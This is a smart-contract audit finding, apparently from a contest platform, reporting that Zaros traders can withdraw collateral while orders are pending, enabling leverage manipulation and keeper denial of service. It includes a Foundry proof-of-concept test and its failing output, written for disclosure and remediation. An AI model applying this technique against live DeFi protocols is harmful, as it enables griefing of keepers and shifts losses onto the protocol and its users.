DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: low
Valid

Attacker can abuse the system by modifying the collateral of pending orders

Summary

When a user creates an order, it enters a pending state. To activate the order, Zaros' Keeper must execute fillOrder. However, there is a critical issue in the process:

Users must deposit collateral when creating an order, but there are no restrictions on modifying it while pending. This allows risk profile manipulation and systemic risks to the protocol. Additionally, users can withdraw all collateral from pending orders, causing undercollateralization and a denial of service (DoS) by preventing order execution.

This problem has been identified in Synthetix protocol in previous audits/PRs:

https://github.com/Synthetixio/synthetix-v3/pull/1711

https://iosiro.com/audits/izar-release-smart-contract-audit#5.5.1-restrict-functions-that-could-affect-positions-with-pending-delayed-orders-(medium-risk)

However, in Zaros, this issue is worsened because users can withdraw all their collateral while having pending orders.

Vulnerability Details

The main issue is that the protocol does not lock the user's collateral when an order is created. The only verification performed is to check if the user has enough collateral to cover their position, as shown below:

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/branches/OrderBranch.sol#L318-L345

function createMarketOrder(CreateMarketOrderParams calldata params) external {
...
(
ctx.marginBalanceUsdX18,
ctx.requiredInitialMarginUsdX18,
ctx.requiredMaintenanceMarginUsdX18,
ctx.orderFeeUsdX18,
ctx.settlementFeeUsdX18,@
@> ) = simulateTrade({
tradingAccountId: params.tradingAccountId,
marketId: params.marketId,
settlementConfigurationId: SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
sizeDelta: params.sizeDelta
});
ctx.shouldUseMaintenanceMargin = !Position.isIncreasing(params.tradingAccountId, params.marketId, params.sizeDelta)
&& ctx.isMarketWithActivePosition;
ctx.requiredMarginUsdX18 =
ctx.shouldUseMaintenanceMargin ? ctx.requiredMaintenanceMarginUsdX18 : ctx.requiredInitialMarginUsdX18;
// reverts if the trader can't satisfy the appropriate margin requirement
@> tradingAccount.validateMarginRequirement(
ctx.requiredMarginUsdX18, ctx.marginBalanceUsdX18, ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18)
);
}

In a nutshell, this vulnerability will lead to:

  • Manipulation Opportunity: Users may reduce their collateral to increase leverage or avoid liquidation, thereby impacting the risk profile and integrity of the system.

  • Undercollateralization: Withdrawing all collateral makes pending orders undercollateralized, leading to DoS when trying to fill the order.

Scenarios

Leverage Scenario:
  • A user places a large order in the perpetual futures market with a specific amount of collateral, committing to a defined risk profile.

  • The order enters a pending state and is waiting to be filled.

  • Changing Market Conditions:

    • Market conditions may shift unfavorably against the user’s position while the order is pending.

  • Manipulation Opportunity:

    • Without restrictions, the user could reduce their collateral before the order is executed, increasing leverage with the same exposure but less collateral.

  • Consequences of Reduced Margin:

    • Increased Leverage: Reducing collateral increases leverage, magnifying potential gains or losses.

    • Avoiding Liquidation: Users may avoid liquidation by staying just above the threshold, exposing the protocol to significant risk if the market moves against them post-execution.

  • Systemic Risk:

    • Allowing changes to collateral during the pending state undermines risk management and fair liquidation processes, potentially leading to greater losses than the protocol can handle.

DoS Scenario:
  • A user places a large order in the perpetual futures market with a specific amount of collateral, committing to a defined risk profile.

  • The order enters a pending state and is waiting to be filled.

  • User withdraws all collateral before the order is filled

  • Keeper cannot fill the order as there isn't enough collateral for that position.

PoC

Add the following test to checkLiquidatableAccounts.t.soland run: forge test --match-test testWithdrawBeforeFillingOrder_isPossible_leadingToDoS_or_manipulatingLeverage -vv

// import "forge-std/console.sol";
function testWithdrawBeforeFillingOrder_isPossible_leadingToDoS_or_manipulatingLeverage() public {
// pre conditions -
// 1. create an account and deposit margin.
// 2. create a market order and let it on pending state.
uint256 marginValueUsdc = 100_00000e6;
int128 userPositionSizeDelta = 10e18;
deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsdc });
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsdc, address(usdc));
bytes memory mockSignedReport = _creteMarketOrder(
BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId, userPositionSizeDelta
);
// action - withdraw all the collateral
perpsEngine.withdrawMargin(tradingAccountId, address(usdc), marginValueUsdc);
console.log("User balance after withdraw: %e", usdc.balanceOf(users.naruto.account));
// post condition: when filling the market order, it should revert due to insufficient margin.
address marketOrderKeeper = marketOrderKeepers[BTC_USD_MARKET_ID];
changePrank({ msgSender: marketOrderKeeper });
perpsEngine.fillMarketOrder(tradingAccountId, BTC_USD_MARKET_ID, mockSignedReport);
}
function _creteMarketOrder(
uint128 marketId,
bytes32 streamId,
uint256 mockUsdPrice,
uint128 tradingAccountId,
int128 sizeDelta
) internal returns (bytes memory mockSignedReport) {
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: marketId,
sizeDelta: sizeDelta
})
);
mockSignedReport = getMockedSignedReport(streamId, mockUsdPrice);
}

Output:

  • The user can withdraw all his collateral before filling the order.

  • Keeper triggers DoS(insufficient margin) when trying to fill the order.

@> User balance after withdraw: 1e13
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 17.29ms (2.04ms CPU time)
Ran 1 test suite in 130.36ms (17.29ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Encountered 1 failing test in test/integration/perpetuals/liquidation-branch/checkLiquidatableAccounts/checkLiquidatableAccounts.t.sol:CheckLiquidatableAccounts_Integration_Test
@> [FAIL. Reason: InsufficientMargin(1, 0, 10000005000000000000000 [1e22], 802000400000000000000 [8.02e20])] testWithdrawBeforeFillingOrder() (gas: 945692)

Impact

  • Increased Leverage: User can amplify potential gains or losses by reducing collateral.

  • Avoidance of Liquidation: User can avoid liquidation and continue to hold high-risk positions.

  • Denial of Service (DoS): Undercollateralized orders prevent execution(fill order), disrupting market operations.

  • Systemic Risk: As filling undercollateralized orders is not possible, it will compromise the protocol's ability to manage risk and enforce fair liquidation, potentially leading to substantial financial losses.

Tools Used

Manual Review

Foundry

Synthetix previous audit:

https://iosiro.com/audits/izar-release-smart-contract-audit#5.5.1-restrict-functions-that-could-affect-positions-with-pending-delayed-orders-(medium-risk)

Synthetix discussion about locking user collateral: https://github.com/Synthetixio/synthetix-v3/pull/1711

Recommendations

Lock the user collateral when he/she has pending orders. This can be done by adding a check on deposit/withdraw margin functions, if the user has pending orders he cannot change his collateral.

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

The Keeper can be griefed by a user who withdraw's the collateral when having a pending position

Appeal created

holydevoti0n Submitter
10 months ago
cryptomoon Judge
10 months ago
holydevoti0n Submitter
10 months ago
blckhv Auditor
10 months ago
h2134 Auditor
10 months ago
zzebra83 Submitter
10 months ago
cryptomoon Judge
10 months ago
zzebra83 Submitter
10 months ago
cryptomoon Judge
10 months ago
inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

The Keeper can be griefed by a user who withdraw's the collateral when having a pending position

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.